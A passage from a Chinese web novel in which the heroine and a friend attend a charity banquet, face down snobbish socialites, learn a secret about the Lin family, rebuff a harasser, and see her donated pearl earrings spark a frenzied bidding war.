张茜瞬间了然于胸——她们来宴会是为了打听林松齐的秘密,所以她得赶紧找到那位嫁去港城的陈佳语女士。 于是,张茜微不可察地冲她点点头,然后刻意落后几步,同他们拉开了距离。 顾星延以及他身边的人全都盯着姜以柔去了,没有一个人注意到张茜。 张茜不动声色地脱离了他们的队伍后,迅速在宴会厅中搜寻起来。 她与那位嫁进港城的陈佳语女士有过几面之缘,认出她应该不成问题。 正当张茜紧张地四处张望时,身后突然传来一道迟疑的声音。 “张茜?” 张茜下意识地回头,先是眉头一皱,但紧接着眼睛又亮了起来。 她身后站着四五个人,略微扫视一眼,便发现基本上都是熟人。 只是……她以前跟这些人有过龃龉,从那以后便很不对付,经常明嘲暗讽地刺对方,逮住机会就会落井下石。 说实话,张茜实在不想在最落魄的时候见到这群塑料姐妹。 但偏偏,这群人竟然跟她想找的那位陈佳语女士在一起。 所以,张茜一时间又尴尬又惊喜,可谓是进退两难。 “真的是你啊,张茜。”一身粉色晚礼服的高挑女人笑着走上前。 她好整以暇地上下打量着张茜,眼神里是明晃晃的奚落,慢悠悠道:“张茜,这次宴会可是门槛很高的,凭你现在的身份,应该进不来吧?” “就是啊,你不会是混进来的吧?”另一个女人捂嘴笑道。 “唉,张姐,你看你穿的这身衣服,也太寒酸了吧?早说你要来的话,我借身衣服给你嘛!” 在她们的冷嘲热讽下,张茜握紧了拳头,但她隐忍着什么都没说,只望向这小团体中被众星捧月的那个女人。 张茜勉强笑了笑,说道:“陈女士,你好,我叫张茜,请问可以跟您聊一下吗?” 陈佳语是位保养得当的美妇人,神情有些倨傲,她冷淡地扫了眼张茜,看到她寒酸的打扮后,又不屑地移开了眼神。 周围几个人更是忍不住嗤笑出声,说道:“张茜,现在的你,可没资格跟陈姐说话。” “就是啊,我们可是要跟陈姐谈合作的,你就别想了。” 陈佳语神情高冷,一句话都不说,徒留张茜在原地尴尬得涨红了脸。 粉裙女人状似无意地摸了摸颈上的粉钻项链,悠悠道:“张茜,你应该知道这是什么场合吧?怎么连件像样的首饰都不戴?就算净身出户了,也不至于一件首饰都拿不出吧?” 说着,她转向自己的小姐妹,故意说道:“诶,你们看我这项链,还不错吧?我老公送的。” 其他人也七嘴八舌地说道: “看我戴的和田玉镯,成色好吧?” “我今天可是把我婆婆压箱底的祖母绿项链都戴出来了……” 豪门圈子里,参加各种宴会时,大家都会戴自己最拿得出手的首饰,既是展示实力,也是表示对举办方的尊重。 像张茜这样不穿礼服、不戴首饰,从某种程度上来说,确实是种失礼的行为。 那位陈佳语女士虽然没有参与对张茜的嘲讽,但显然也看不太顺眼她这上不得台面的做派,全程冷眼旁观。 一通炫耀后,粉裙女人捂嘴笑得揶揄,说道:“张茜,你来参加宴会,怎么能什么都不戴呢?” 张茜黑着脸,指甲都快掐进掌心里了,实在忍得辛苦。就在这时,她的目光越过众人,落在她们身后,然后她的眼睛瞬间亮了起来。 张茜突然放松了身体,脸上的憋闷之色尽数褪去,显得格外从容。她轻轻一笑,淡淡地说道:“我可不是什么没带……” 粉裙女人只以为她在嘴硬,嗤笑一声,反问道:“那你倒是说说,你带了什么啊?” 张茜意味深长地勾了勾唇角,她轻轻扬起下颌,竟然十分骄傲的模样,一字一句镇定道:“我是没戴首饰,但我带了一个朋友。” 一个比你们这些珠宝首饰加起来都要耀眼千百倍的,朋友。 对面那群人先是愣住,随即忍不住爆发出一阵嘲笑:“张茜,你没睡醒吧?带个朋友也值得专门拿出来说?” “就是,你朋友什么身份啊?很牛吗?” 张茜都被净身出户了,她们才不信现在的张茜能交到什么拿得出手的朋友呢! 张茜懒得理会她们,热情地朝她们身后招了招手,“以柔,快来。” 随着姜以柔微笑着站定在她们面前,这一群贵妇人愣愣地看着她,每一个人脸上的笑,都纷纷凝固了。 她们呆愣愣地看着姜以柔,那目瞪口呆的模样甚至有些滑稽,哪里还有方才的骄矜傲慢。 张茜将这些人的反应尽收眼底,她虽然面上不显,但心里却爽翻了。 呵呵,你们那些粉钻祖母绿啥的都算什么东西啊。 在这样的大美女面前,多么名贵的首饰都显得庸俗、暗淡! 老娘今天就是什么首饰都不戴,但我带着姜以柔……就已经赢得彻彻底底! 从被离婚以来,张茜从未有过如此痛快的时刻。她心里翻江倒海,面上却竭力保持镇定,一副老神在在的模样。 她挽起姜以柔的手臂,一脸矜持地冲那几个人介绍道:“我的朋友,姜以柔。” 张茜着重念了“我的朋友”几个字,下巴恨不得翘到天上去。 谁懂啊,跟姜以柔做朋友有多爽! 尤其是看到对面那群人被惊艳到说不出话的表情,张茜差点笑出声来。 姜以柔适时地勾唇一笑,她和善地冲几人点点头,温声开口道:“大家好,我是张姐的朋友。” “你、你……”粉裙女人终于反应过来了,她脸色微变,一时间竟说不出话来。 她死死盯着那张完美得没有一丝瑕疵的脸,眼中闪过明显的嫉妒。 她身体僵硬,梗着脖子嘴硬道:“呵呵,你这朋友浑身上下都不超过十万块,真是跟你一样穷酸,也不知道你在骄傲什么……” 但是这次,总是附和她的那群小姐妹们却没有一个人吱声。 她们眼神闪躲,神情竟有些尴尬。 因为她那番话实在是可笑。这种层级的美貌已经是最顶尖的奢侈品,粉裙女人的嘲讽毫无力度。 如果她们能长这张脸,让她们吃糠咽菜也愿意啊……几个女人羡慕又惆怅地盯着姜以柔的脸。 这时,一直很冷淡的陈佳语突然上前,她几步走到张茜面前,一改先前的冷漠不屑,笑得和颜悦色,说道:“张女士,你刚才说想要跟我聊一下是吧?我现在就有时间,我们去旁边坐坐吧!” 她面朝着张茜讲话,眼神却总忍不住偷瞟姜以柔,姣好的面上浮起羞涩的红。 闻言,张茜有一瞬间的恍惚。 她还记得方才邀请陈佳语聊一聊时,她那漠视冷淡的态度,短短几分钟不到,她的态度竟然来了个一百八十度大转变,主动要跟她交际聊天…… 原因在何,不言而喻。 张茜忍不住看了眼姜以柔精致完美的侧脸,心中暗叹道: 有这张脸在,真是任何事情都易如反掌呢! 张茜长舒一口气,笑着对陈佳语点点头,“那太好了,谢谢您。以柔,你也跟我们一起来吧!” 张茜故意如此说道。果然,在听到她也邀请了姜以柔后,陈佳语脸上的笑意更深了。 粉裙女人不由得傻眼了,张茜竟然就这么把她巴结了很久的陈佳语拐带走了?! 她连忙想要拦住陈佳语,急声道:“陈姐,我们不是说好了谈合作吗?” 陈佳语却倏地沉下脸,不耐烦道:“麻烦让让。” 粉裙女人一时间气得口不择言道:“陈姐,她长得再好看也不能当饭吃啊,你看她连条名牌都买不起……” 这时,一名西装革履的清秀男人跑了过来,打断了她的话,那是顾星延的其中一个助理。 他脸颊通红,有些不好意思直视姜以柔,说话也磕磕绊绊的,道:“姜小姐,那个……我们顾哥让我来请您过去。他现在有点事情要办,不然就亲自来请你了……” 姜以柔眼看着能跟陈佳语打探消息了,当然不可能现在离开。 她委婉地拒绝道:“小周,麻烦你跟顾先生说一下,我这边也有点事要忙,一会儿我再去找他。” 她是作为顾星延的女伴混进来的,不好对他用完就扔,至少得陪他参加完这场宴会。只是她现在必须跟陈佳语聊聊,只能先请一小会儿的假了。 小周闻言点点头,一步三回头的离开了。 这时,一个女人突然说道:“那好像是顾星延身边的助理。” 此话一出,众人全都愣住了,“顾星延?” 她们两眼发直地望向姜以柔,“你、你认识顾星延?” 顾星延不仅是星光最盛的巨星,同时也是豪门顾家的继承人,他的一举一动都备受瞩目,在场每一个人都想跟他攀点交情。 张茜挺了挺胸膛,故意用云淡风轻的语气说道:“顾先生邀请我们以柔做他的女伴。” 闻言,众人更加震惊。 要知道顾星延出席任何场合,都从来不带女伴的。 一方面是他向来洁身自好,出道多年无任何绯闻;另一方面也是他的那群粉丝太过生猛,会死死盯着顾星延身边出现的任何异性。 而这个姓姜的女人……她竟然是顾星延的女伴?! 粉裙女人的脸色顿时绿了,她的嘴巴张了又合,却说不出一句话,也不敢再乱说话。 她只觉得脸颊火辣辣的痛。 她刚才还说什么美貌不能当饭吃,可现实是,姜以柔不仅能靠美貌吃上饭,还能吃上连她都触之不及的最豪华的饭…… 一群人眼睁睁看着姜以柔跟陈佳语说笑着离开,神情羡慕又纠结,简直复杂极了。 张茜跟在两人身后,特意回过头,朝那群塑料姐妹露出一个挑衅得意的笑容。 那群小姐妹面面相觑,每一个人脸上都显出几分苦涩。 第52章 偌大的宴会厅中, 姜以柔特意寻了个安静的角落,跟那位嫁去港城多年的陈佳语女士谈笑起来。 “陈女士,幸会, 我叫姜以柔。”姜以柔正式地自我介绍道。她笑得眉眼弯弯,明明拥有仙子般美丽的容貌,对人的态度却是那样温柔可亲。 陈佳语又一次被她的美貌晃了神, 忍不住由衷感慨道:“你可真漂亮。” 姜以柔捂嘴轻笑, 一副不好意思的模样,轻声道:“陈女士, 你也很漂亮。” 哪怕知道姜以柔多半是故意恭维她,陈佳语脸上的笑意还是控制不住地加深了些许。 一旦姜以柔想讨好某个人,她都不用刻意做些什么, 只需要随便笑一笑, 随口哄两句,就能让对方丢盔弃甲。 过了没多久,陈佳语就紧紧抓着姜以柔的手,把她当成了掏心掏肺的朋友, 什么话都愿意说。 很快, 姜以柔便不动声色地将话题引到了林松齐身上。 “哦,你问林松齐啊!”陈佳语眼睛一亮,显然也来了八卦之心。 一开始, 陈佳语说的都是些姜以柔早就知道的事情,直到后来, 她终于说起一些鲜有人知晓的豪门秘闻。 “说起来, 林松齐这人是真不错,这么多年对乐柠视如己出,好得没话说……” 姜以柔神情微滞, 瞬间抓住了重点,问道:“等等,乐柠不是林松齐的亲生女儿?” 陈佳语立刻捂住嘴,一副懊悔自己失言的模样。 她本不想多说,但姜以柔一露出恳求的神情,她就绷不住心软了。 陈佳语四处张望一番,见周围没有其他人,才压低声音说道:“其实这件事,整个港城知道的人也屈指可数,我也是在我婆婆醉酒说漏嘴后才知道的——乐柠确实不是林松齐亲生的。” “当年乐婉儿——也就是乐柠她妈、林松齐的老婆——其实是个恋爱脑,她喜欢上了一个穷小子,她父母倒是不反对,因为本来就打算让乐婉儿招赘的,穷男人更好拿捏。只可惜那穷小子福薄,没多久就意外身亡了。” “但那时候乐婉儿已经怀了那短命鬼的孩子,偏偏她身体不好不能打胎,所以……她父母就给她找了另一个穷小子,两人火速结婚,孩子也顺理成章地生下来了。” “跟她结婚的那个穷小子就是林松齐。” “为了防止外人说女儿闲话,乐家就把乐婉儿前男友的事情隐瞒了下来,就当孩子是林松齐的,对孩子的成长也更好一点。” “不过,乐婉儿生乐柠的时候大出血,摘了子宫,以后再也不能怀孕了。林松齐一点儿都不介意,十几年如一日地对她好,也不在乎没有自己的亲生孩子,对乐柠特别疼宠,是圈子里出了名的好男人。” “乐婉儿的爸妈估计也是被他感动了吧,这些年慢慢放权给他了,一家人挺美满的。” 张茜听得不停咋舌:“天啊,没想到乐柠竟然不是他亲生女儿,真是一点都看不出来。” 说着她叹了口气,脸色有些灰败地说道:“同样都是男人,差距怎么这么大呢?” “不过……”陈佳语突然面色一凝,有些迟疑地说道,“十年前的时候,港城莫名起了阵谣言,说林松齐其实有个私生子,被他养在M国,他经常出国去看儿子……” “真的假的?!”张茜目瞪口呆。她刚感叹过林松齐是好男人,现在就被打脸了? 陈佳语摆了摆手,笑道:“都说了是谣言了。乐婉儿的父母当即就出手查了个底儿朝天,结果什么都没查到,人家林松齐清清白白。” “乐家人还因为怀疑林松齐而好一阵儿愧疚,那段时间给了他不少好处做补偿。” 张茜松了口气:“原来是谣言啊……” 旁边,一直很安静的姜以柔眸光微闪。 有句话叫无风不起浪…… 姜以柔若有所思地沉默着,突然问道:“陈姐,你知不知道林松齐跟乐婉儿结婚之前的经历?” 陈佳语摆了摆手,随意道:“这谁能知道啊!” 林松齐是穷苦人家出身,不爱谈及自己的过去,他以前的经历恐怕连乐家人都不太清楚。 陈佳语想了想,说道:“我只记得,林松齐跟乐婉儿结婚那会儿,是十六年前的五月份,因为我当时刚生完大儿子,所以印象比较深刻。” “咦?”一直沉默的666突然冒泡,“这个时间点……竟然跟你老公死讯传回来的时间差不多。” 闻言,姜以柔怔住了。 这一瞬间,仿佛有一道灵光闪过,将一切都串联在了一起。 十几年前,“姜以柔”的老公死了,同时,港城出现了一个“林松齐”,一跃成了豪门乐家的女婿。 再加上林松齐莫名其妙地说眼熟她,还有姜渔对林松齐那古怪的态度…… 姜以柔心里突然冒出一个匪夷所思的想法。 很荒谬,但可以解释一系列的古怪现象。 姜以柔怔怔地出神,良久,突然轻笑一声。 她在脑海里对666说道:“小六,你还记得吗?你之前说,恶毒女配姜渔发疯放了把火,就是为了烧死女主乐柠,而女主的父母也不幸随着她葬身火海。” “但如果……乐柠才是那个被连累的人呢?” 姜渔真正想杀死的,或许并不是女主乐柠,而是那个抛弃她的亲生父亲—— 也就是改头换面的林松齐。 系统666:“……???” 姜以柔皱着眉说道:“如果真是这样的话,要想彻底消除姜渔的黑化值,得换个思路了。” * 三人又聊了一会儿,陈佳语被人叫走了。离开前,她恋恋不舍地拉着姜以柔的手,反复叮嘱她一定要去港城找她玩。 姜以柔笑眯眯地送走了陈佳语,继续悠闲地跟张茜小声聊天。 张茜先是感慨了几句林松齐真是个好男人,然后她突然想起了什么,神色又变得激动起来。 “对了以柔,刚才我就想说了只是一直没找到机会,你真的太厉害了,没想到你竟然能让顾星延带你进来……” 姜以柔挑了挑眉稍,笑着问道:“怎么,顾星延很特别吗?” 张茜愣住了,然后用看外星人般不可思议的眼神打量着她,高声反问道:“等等,你别告诉我……你不认识顾星延啊?!” 姜以柔耸了耸肩,不以为意道:“我就是不认识啊。” 张茜大为震惊,开始滔滔不绝地跟她科普顾星延有多么厉害。 “……唉,我女儿最喜欢的明星就是顾星延了。她要是知道她妈今天亲眼见到了偶像,肯定会激动得大喊大叫。”提起女儿,张茜的面色变得柔软了许多。 姜以柔轻轻一笑,温声道:“一会儿问顾星延要个合影好了。” 张茜有些不自信,迟疑道:“他能同意吗?听说顾星延挺傲气的……” 姜以柔意味深长地眨了眨眼睛,笑着没说话。 张茜盯着她那张风华绝代的脸,蓦地闭了嘴。 害,她可真是多虑了。有姜以柔在,什么事办不成呢? 两人正小声谈笑着,身侧突然传来一声激动的呼喊: “姜小姐!” 姜以柔循声望去,在看清来人的面容时,倏地冷下了神色。 居然是之前开家长会时,在校门口纠缠她的赵文泽。 赵文泽西装革履,头发一丝不苟地梳到脑后,倒显得斯文端正。 他面上是掩不住的狂喜,快步走到她面前,低头紧紧盯着她的脸,眼里掠过明晃晃的侵略性。 赵文泽露出一个彬彬有礼的笑容:“姜小姐,我们还真是有缘啊,这么快就又见面了。” 太好了,他还没来得及下手呢,她倒是主动出现在他面前。 真是老天爷都在帮他。 赵文泽眸光闪烁,躁动地搓了搓手指。 姜以柔懒得理他,也不想在这种场合与他起争执,便转头对张茜说道:“张姐,我们走吧。” 说着,她便转身想要离开。 赵文泽却一步跨到她面前,挡住了她的去路,笑着说道:“姜小姐,难得见面,何必急着离开呢?” 赵文泽笑得笃定而自信,仿佛姜以柔已然是他的掌中雀,再也逃不出他的手心。 姜以柔的脸色冷了下来,警告道:“赵先生,麻烦让开。” 赵文泽恍若未闻,脚步未曾移动半分,哪怕被呵斥了也丝毫不觉得尴尬,只淡笑着盯紧她。 张茜有些着急,一步跨出挡在姜以柔面前,横眉冷对道:“我们要走了,麻烦让让。” 赵文泽淡淡地瞥了张茜一眼,不屑地移开眼神,自顾自盯着姜以柔。 就在他要继续开口纠缠时,身后突然传来一道清冽的少年音。 “爸爸,这是你的朋友吗?” 姜以柔的目光越过赵文泽,望向他的身后,在看到走来的那个高挑清俊的少年时,她微不可察地挑了挑眉。 来人大概只有十六七岁,身量还带着少年人的纤瘦,但已经很高了,他穿着剪裁得体的深色西装,像一株挺拔的青松。 他长得很俊秀,五官精致,眉眼间带着股书卷气,像是古画中走出来的贵公子,气度卓然。 他步履沉稳地走到赵文泽身边,目光落到姜以柔的身上时,有明显的惊艳与怔愣。 但他很快就回过神来,克制地垂下眼眸,礼貌地不再紧盯着她看。 这个表现,倒是让姜以柔对他高看了几眼。 赵文泽脸上的笑意缓缓收敛,他扫了眼身旁的少年,那眼神虽淡,却极富压迫感,让少年睫羽轻颤。 赵文泽面无表情,声音很冷淡,说:“我这儿还有正事,别打扰我。” 闻言,姜以柔不由得嗤笑一声。 正事? 赵文泽竟然把骚扰她说成是正事,真够不要脸的。 那少年下意识地抬头瞥了眼姜以柔,在触及她面上的冷意后,犹豫地抿紧了唇,双脚一动不动。 这时,姜以柔回想起少年刚才对赵文泽的称呼——爸爸。 难道……他就是书里的温柔男二号,赵承? 赵文泽见儿子拿自己的话当耳旁风,面色一沉,就要呵斥出声,却被姜以柔的轻笑声打断了。 姜以柔好整以暇地上下打量着这个清俊的少年,唇角勾起一个意味深长的弧度,她故意拖长了声音问道: “赵先生,这是你的儿子吗?” 赵文泽沉默片刻,轻轻应了一声。 不知为何,他似乎对自己的儿子很是冷淡。 姜以柔以手掩唇,笑得温柔,语气里却带着点揶揄,道:“你儿子长得还真不错呢。” 赵文泽微微一怔,立刻就想起初见姜以柔那天—— 她故意讽刺,说愿意花200块钱包养他的儿子。 还说,如果他儿子长得不错,可以考虑加钱。 所以,她刚才那句话的意思是……对他的儿子挺满意的?! 赵文泽的脸瞬间黑透了,胸膛剧烈起伏着,在死死压抑着怒火。 姜以柔瞧不上他,对他不假辞色,却对他年轻英俊的儿子毫不掩饰地赞赏…… 这对一个男人来说,简直是天大的羞辱! 赵文泽死死握紧了拳头,猛地扭头对赵承喝道:“滚!” 第53章 赵文泽神情阴沉, 嗓音冷厉,呵斥赵承的时候毫不留情。 仿佛那不是他的儿子,而是他的仇人。 赵承默默地垂下眼睫, 俊秀的脸上没什么表情,却依旧站在原地不动。 片刻后,他轻声开口, 嗓音清冽如清泉击石:“爸爸, 妈妈还在等你呢。” 不知有意还是无意,赵承提起了赵夫人, 似乎在暗示赵文泽不要做得太过分。 姜以柔挑了挑眉梢,兴味盎然地打量着眼前的少年。 他看似恭谨温雅,斯文有礼, 但似乎没那么听赵文泽这个父亲的话。 姜以柔隐隐能感觉到他不动声色的锋芒。 可惜的是, 赵承委婉的警告对赵文泽根本不起作用。 赵文泽闻言嗤笑一声,冷冷地道:“那就让她等着。” 他再度盯上了赵承,眸光像毒蛇一般阴冷,一字一句寒声威胁道:“我再说一遍, 滚!” 赵承轻轻抬眸, 不闪不避地对上他的视线,他甚至勾起唇角,露出一个温润谦和的笑容, 道: “爸爸,我等你一起。” 赵文泽脸色一沉, 气急之下扬起巴掌就要揍他。 赵承虽然年轻清瘦, 却一把攥住父亲的手腕,稳稳当当地挡下了那一巴掌。 他笑得温和,看起来极其乖顺, 说道:“冷静一点,爸,别让人看了笑话。” 父子俩对峙时,张茜凑到姜以柔耳边低声道:“这个赵文泽特别花心,养了很多情人。以柔,你可千万别被他的花言巧语给骗了。” 姜以柔不以为意地笑了笑,随口道:“我又不瞎。” “对了,你知道吗?”张茜的声音压得更低,颇为神秘地说道,“这个赵承其实是赵文泽从外面抱回来的私生子,他根本不是赵夫人亲生的!” “但奇怪的是,赵承跟赵文泽的感情很一般,反而跟赵夫人的关系很好。” “赵文泽经常在外花天酒地,很多女人都会找上家门,都是赵承帮赵夫人把她们打发走的。” “是吗?”姜以柔微微一怔,眸光变得有些意味深长。 事情还真是有趣。男二号赵承竟然是赵文泽的私生子,更离谱的是,很少听说私生子不亲近父亲,反倒亲近原配夫人的。 林松齐、乐婉儿和乐柠一家,赵文泽、赵夫人和赵承一家,他们似乎都有很多秘密,仿佛笼罩着一层迷雾,让人看不清摸不透。 姜以柔饶有兴味地看着赵文泽和赵承父子俩的争执,唇角的弧度有些玩味。 就在这时,身后传来含着笑意的磁性嗓音:“姜小姐,抱歉久等了。” 俊美而耀眼的顾星延大步朝他走来,这次只有他一个人,身边什么工作人员都没带。 他邀请了姜以柔进来宴会厅后,没多久就因为工作上的事而不得不暂时离开。 现在大概是事情解决了,便马不停蹄地回来找姜以柔。 姜以柔对他的态度可与赵文泽截然不同,在看到他的一瞬间,就露出了温柔矜持的笑容。 “顾先生,你来了。”她的嗓音也格外柔媚。 赵文泽敏锐地注意到了这一点,瞬间没心情呵斥自己的儿子了。他紧皱着眉头,目光在姜以柔和顾星延之间来回扫视,脸色逐渐变得阴沉。 顾星延漫不经心地扫了赵文泽一眼,他唇角带笑,望向他的眼神却很冷。 当他的目光再次落到姜以柔身上时,才又变得柔和下来,他温声问道:“姜小姐,这位先生是你的朋友吗?” 姜以柔笑得温柔,说出的话却很无情,一点儿脸面都不给赵文泽留,她淡淡道:“不是,一个烦人的苍蝇而已。” 赵文泽面色瞬间铁青,垂在身侧的拳头捏得咔咔作响,像座即将爆发的火山。 顾星延挑高了一侧眉梢,睨向赵文泽的一眼含着明显的冷意。但他并没有对赵文泽浪费口舌,只绅士地朝姜以柔伸出手,笑意温柔:“放心吧,你的安全,接下来就交给我了。” 姜以柔从善如流地搭上他的手掌,调侃道:“那就麻烦顾先生了。” 顾星延深深地望着她,桃花眼中仿佛盈满了星光,温柔得让人沉溺。 “我的荣幸。” 然后,两人便并肩往前走去,像扔垃圾一般把赵文泽扔在了原地。 赵文泽被两人那明晃晃的无视瞬间点燃了,气得双眸赤红。 他猛地想冲上前拦住两人,自己却先被箍住了肩膀。 赵承看着清瘦,劲儿倒是很大,他牢牢地握住赵文泽的肩膀,语气温和道:“爸,不要冲动,我们还有个合作案需要顾家。” 顾星延能在娱乐圈混得风生水起、如日中天,除了因为过硬的实力,也是因为他背后的豪门顾家。 在赵承刻意提起顾家后,赵文泽果然僵住了,憋着一口气不敢再乱来。 他沉着脸站在原地,胸膛剧烈起伏着,显然被气得不轻。 其实赵文泽平日里还算冷静,他一般自持身份,总是在外装得人模狗样、彬彬有礼,可偏偏每次遇上姜以柔,都会被她气得心梗,甚至几度失态。 赵承勉强平复了下呼吸,他扭头狠狠瞪了眼自己的儿子,猛地一把推开他,气势汹汹地离开了。 赵承目光平静地盯着父亲的背影,确认他已经走远,不会再纠缠姜以柔后,便不再关注他。 随即,赵承的目光不自觉转到姜以柔离开的方向。 他已经看不到那道纤细窈窕的身影,怔怔出神良久,又默默地移开了视线。 姜以柔正跟顾星延说笑的时候,一名工作人员突然找到她,红着脸说,每一位来参加此次慈善晚宴的嘉宾,都需要捐赠一样物品进行拍卖,最后拍卖所得的善款会全部用于慈善。 现在,姜以柔也需要提供一件拍卖品。 姜以柔是混进来的,根本就没有准备拍卖的物品,一时间有些愣怔。 顾星延潇洒一笑,主动为她解围,说道:“我帮你准备吧。” 姜以柔沉思片刻,却郑重地摇了摇头,婉拒道:“谢谢,但不用了。” 片刻后,姜以柔素手轻抬,缓缓摘下了戴着的那对珍珠耳坠。 顾星延定定地看着她,就这样怔住了。 她微微歪着头摘耳环的模样,实在太美。睫羽轻垂间,那一低眸的温柔,仿佛画中的仙子,随时会飘然而去。 顾星延能感觉到胸腔里的心跳在剧烈鼓噪着,轻而易举地被她牵动,为她战栗。 姜以柔摘下耳环后,先转头看向张茜,面带歉意地说道:“张姐,这耳环是你送我的……” 张茜懂得她的意思,不甚在意地摆摆手:“事急从权。” 她笑了笑,颇为洒脱地说道:“小柔,姐要是有翻身那天,一定送你更好的首饰。” 姜以柔的眼神温软得像是春水,让人恨不得融化在她的媚色中。她认真地说道:“一定会有那一天的。” 她将耳坠交到工作人员手中,微笑道:“我跟这位女士合出一份拍品,谢谢。” 工作人员小心翼翼地接过,又偷偷盯了姜以柔一眼,才恋恋不舍地捧着耳环离开。 顾星延定定地看着那对珍珠耳环,它们刚从姜以柔的耳垂上摘下来,大概还带着她的体温和香气吧…… 顾星延的目光不可遏制地落到姜以柔的耳垂上,那么白嫩小巧的耳垂,简直比珍珠更加诱人。 他深吸一口气,桃花眼中闪着灼灼的亮光,轻笑着道:“姜小姐,那对耳坠很适合你。” 姜以柔无所谓地笑了笑,随口道:“我也挺喜欢的。” 闻言,顾星延一双桃花眼微微眯起,唇边的弧度有些意味深长。 半个小时后,慈善拍卖会准时开始,西装革履的拍卖师站在台上,侃侃而谈。 “第一件拍卖品为冰种翡翠扳指,捐赠者为华兴集团的王永力先生……” 主持人话音落下后不久,一束灯光打在了座位席上,那位慈眉善目的王永力先生适时地起身,朝众人点头示意。 其他人很给面子地鼓起了掌。 “第二件拍卖品为清代官窑瓷器……” …… 一件又一件拍卖品被呈上,全都珍贵而稀缺,也拍出了不菲的价格,现场的氛围很快便热烈起来。 直到姜以柔所提供的拍卖品被呈上台,场面有一瞬间的尴尬。 “接下来是一对珍珠耳环,来自……姜以柔女士的馈赠。”主持人的话音难得有些迟疑,大概是对姜以柔这个名字很陌生。 与此同时,那束本该打在捐赠者身上的灯光也停滞了,估计是不知道捐赠者姜以柔坐在哪里。 台下众人打量着那对珍珠耳环,不由得沉默一瞬,随即忍不住窃窃私语道: “宋太太,这耳环是你常买的那个牌子吧?” “是啊,我记得价格……不算高,也就几万块吧。” “这是谁拿出来的东西,未免也太寒酸了吧?” “就是啊……” 不得不说,这对珍珠耳环在一众高大上的拍卖品之间,确实拿不出手。 听着众人的窃笑与议论声,张茜捏紧手里的包,不由得有些窘迫。她偷偷朝姜以柔看去,发现她嘴角始终噙着优雅的微笑,那么坦然而从容,根本不把其他人的议论放在心上。 张茜逐渐被姜以柔的淡定感染了,也慢慢地放松下来。 只有顾星延眸光微沉,他冷冷地扫了眼议论纷纷的人群,面色有明显的不悦。 台上,主持人继续走流程,高声道:“姜女士的珍珠耳环,起拍价——五万元!” 话音刚落,顾星延第一个举牌子,嗓音慵懒而笃定:“一百万。” 这个出价可谓石破天惊,直接比起拍价翻了二十倍,远高于这对珍珠耳环应有的价值。 霎时间,场内一片寂静,大家都以为自己听错了。 五万的珍珠耳环,要花一百万去拍?疯了吧?! 知道你们当明星的来钱快,但有钱也不是这么花的啊! 连姜以柔都忍不住扯了扯顾星延的衣摆,低声道:“太过了。” 顾星延静静地凝视着她,桃花眼深邃而迷人,他温声说道:“你值得。” 他不喜欢听到别人诟病她寒酸。 反正钱对于他来说,只是串数字罢了。 姜以柔无奈地瞥他一眼,不再多说什么。 就在众人以为这对耳环会被顾星延以一百万收入囊中时,突然又有人叫价了。 赵文泽面无表情地举牌,道:“110万。” 顾星延眉梢微动,凉凉地瞥了赵文泽一眼,唇边勾起一个讥讽的弧度,他语气淡然,直接翻倍加码:“二百万。” 随即,赵文泽也沉着脸继续加价,仿佛跟他杠起来了。 于是,在全场人不敢置信的目光中,这对不起眼的珍珠耳环的叫价越来越高,一直到了离谱的程度。 能来参加这场慈善晚宴的,都是有头有脸的人,此时都跟看傻子似的看着他们。 “这……赵总平日里挺稳重的一个人啊,怎么突然……”有人欲言又止。 “那位大明星怎么跟赵总杠上了?没听说他们有矛盾啊。” “哼,傻子吧。” …… 众人神情古怪,窸窸窣窣地讨论着。 直到—— 灯光师总算是找到了姜以柔的位置,明亮的灯光也终于照在了她的身上。 所有人都下意识地循着灯光看去,就这样猝不及防地看到了此生最美的风景。 姜以柔安静地坐在位置上,每一处五官都像是上帝最精雕细琢的艺术品,组合在一起便成了人间难寻的角色。 乌发、红唇,美得不可方物。她唇角带着清浅的笑意,潋滟如春水的眸子却是冷淡的。 有种高不可攀的距离感。 尤其是当那束灯光洒落在她身上,简直像是笼罩着圣辉的神女,可望而不可即。 却偏偏……勾起人飞蛾扑火般的悸动。 长久的沉默后,会场内突然又响起了叫价声: “我出……五百万!” 有新的“傻子”,加入了对珍珠耳坠的争夺。 第54章 灯光落在姜以柔身上的那一刻, 满是人的宴会场地居然有很长一段时间的沉默。 所有人都不由自主地望向那个美丽的女人,久久难以回神,脸上是如出一辙的震撼与惊艳。 这个突然出现在聚光灯下, 美得如同幻梦的女人,差点让他们怀疑自己是否还在人间。 姜以柔被那突如其来的光亮刺激得微微眯起眼睛,脸上却依旧保持着优雅得体的笑容。她轻轻颔首, 算是对众人的示意。 她的笑容像是打开了什么开关, 众人陆续回神,整个宴会厅霎时隐隐沸腾起来。 “我出五百万!”一个中年男人猛地起身大喊道。 他脸色涨红地紧盯着姜以柔, 眼神里满是火热的迷恋,举牌叫价的动作干脆又果断,带着股不顾一切的狂热。 这个男人跟顾星延背后的顾家有些龃龉, 刚才顾星延出价的时候, 他最为明目张胆地大肆嘲笑顾星延是“傻子”,然而……此时的他倒是比“傻子”出价更高了。 也不知道是谁更傻一点。 当然,在场没一个人有心思嘲笑他。因为…… 越来越多的“傻子”加入了对珍珠耳坠的争夺。 “五百一十万!” “我出五百五十万!” “啧,李总, 您一个有家室的人, 这么做不合适吧?五百六十万!” “呵呵,苏总,你一个女人……更不合适吧?我出五百八十万!” “六百万……” 短短几分钟之内, 情况发生了戏剧性的巨大转折。 众人仿佛忘记了之前对珍珠耳坠的嫌弃,也忘记了对顾星延的嘲讽, 反而也开始疯狂叫价, 一副势必要将这副耳坠收入囊中的架势。 当然,他们愿意豪掷百万去买的,并不是那对珍珠耳坠, 而是一个认识姜以柔的机会。 就凭那人间难寻的稀世美貌,如果能认识她,甚至发展出更多故事……那么花多少钱也值得!毕竟,恐怕全天下都再找不出第二个这么美丽的女人了。 拍卖现场的气氛越发激烈起来。 眼看着那对几万块的珍珠耳坠渐渐被炒成了天价,顾星延有些不爽地皱了皱眉。 他倒不是心疼钱,纯粹是不喜欢那么多人盯着姜以柔,让他莫名有种宝物被觊觎的危机感。 至于赵文泽,他已经脸黑得不能看了。他垂在身侧的手死死捏成拳,眸光阴鸷而透着股狠厉。 他家公司最近正处于转型的关键期,如果他敢花大几百万去拍一对珍珠耳坠,董事会那群老家伙能喷死他…… 恰在此时,赵文泽身旁传来一道磁性温和的嗓音: “爸爸,还要加价吗?”赵承双手插兜,风度翩翩地站在他身旁,清俊的脸上挂着恭谨温和的笑意。 可赵文泽却硬是从他轻描淡写的问话中,听出了一丝挑衅。 